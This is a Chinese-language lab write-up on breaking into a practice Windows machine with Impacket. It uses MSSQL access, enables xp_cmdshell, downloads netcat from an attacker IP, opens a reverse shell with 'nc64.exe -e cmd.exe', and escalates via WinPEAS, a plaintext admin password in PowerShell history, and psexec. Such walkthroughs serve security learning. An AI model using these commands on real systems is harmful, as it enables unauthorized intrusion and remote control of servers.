Impacket使用 - 起始点

2022-03-08 14:04:06 浏览数 (1)

以下在靶场中属于very easy难度。

使用Impacket登录mssql

Impacket项目地址:https://github.com/SecureAuthCorp/impacket

linux安装:

git clone https://github.com/SecureAuthCorp/impacket

python3 -m pip install tox

python3 setup.py install

Windows安装:

将Impacket下载到本地,pip install tox

python setup.py install

安装完成之后会在当前目录下面生成impacket和examples文件夹,里面有各种脚本

0x01. Nmap扫描

使用Nmap扫描靶机的端口发现开启了445 SMB 和 1433 mssql

由于靶机已经关闭,所以这里smb登录就没有截图了,windows下直接\ip地址就可以了

对445端口进行了无密码登录尝试,登录之后看到一个配置文件里面有mssql的账号和密码

0x02. 登录mssql:

cd examples

python mssqlclient.py domain/user@ip address -windows-auth

输入密码即可登录

select user 查看当前登录用户

select is_srvrolemember(‘sysadmin’) 判断是否有系统权限

如果权限够高可以开启xp_cmdshell来执行系统命令

0x03. 开启xp_cmdshell执行系统命令

可以先测试一下xpcmd开没开 xp_cmdshell “whoami”

如果报错就没开xpshell 这时候就需要手动开启

**sp_configure;**查看配置可以看到xpshell是否开启

EXEC sp_configure ‘show advanced options’, 1; 开启高级选项

reconfigure 重新加载配置

EXEC sp_configure ‘xp_cmdshell’, 1 设置xpshell开启

reconfigure 重新加载配置 这时候就可以执行系统命令了

0x04. 通过xp_cmdshell反弹shell

首先python临时起一个http服务,将nc或者是生成的木马放进去

在目标xp_cmdshell中输入**xp_cmdshell “powershell -c pwd”**来获取当前路径,看看是否有权限在当前目录操作,如果没有,就可以将文件下载到当前用户的目录中,然后再执行。

xp_cmdshell “powershell -c cd c:userssql_svcdownloads; wget http://10.10.14.50/nc64.exe -outfile nc64.exe” 使用powershell进入到当前用户的下载目录,在使用wget命令下载木马文件

现在目标机器上有了nc,那么本地监听,再用xp_cmdshell执行即可

xp_cmdshell “powershell -c cd c:userssql_svcdownloads; .nc64.exe -e cmd.exe 10.10.14.50 333” 目标主机xp_cmdshell运行这条命令即可将cmd弹到攻击机

此时进入桌面可以看到有一个文件,看样子是flag

看到flag但是还不能提交flag,因为还有一个任务七,是跟提权相关的,毕竟这边弹过去的cmd也是当前用户的权限,相对来说比较低,那么现在进行提权操作

0x05. WinPeas特权提升工具

winpeas.exe可以积极寻找特权升级错误配置,而且还在结果中为用户突出显示它们

项目地址:https://github.com/carlospolop/PEASS-ng

同样将winpeas用python临时起的http服务来让目标下载,注意,这时候就不用在用xp_cmdshell来执行了,直接用刚刚反弹过来的cmd去调powershell即可

注意,这里访问的文件是去分大小写的。

下载好了之后执行将winPEAS运行起来,可以看到检测出有很多对应的cve提权方式

0x06. 通过管理员历史命令登录超级用户

根据任务7的提示是找到特定程序输入的内容的历史记录,由此找到powershell的consolehost_history.txt

查看这个txt看到管理员之前用net.exe登录了administrator,并且密码是明文密码,那么我也可以用impacket进行psexec的操作了

psexec成功登陆目标主机,为了得到flag,当然首先看administrator的桌面,看到有一个root.txt 试着打开一下

但是当我去打开root.txt的时候却提示我找不到文件。 那我直接进到桌面再看就好了呗~

hhh…这一步做完回首一看命令才发现刚刚执行的 type root.txt是在system32目录下执行的

0 人点赞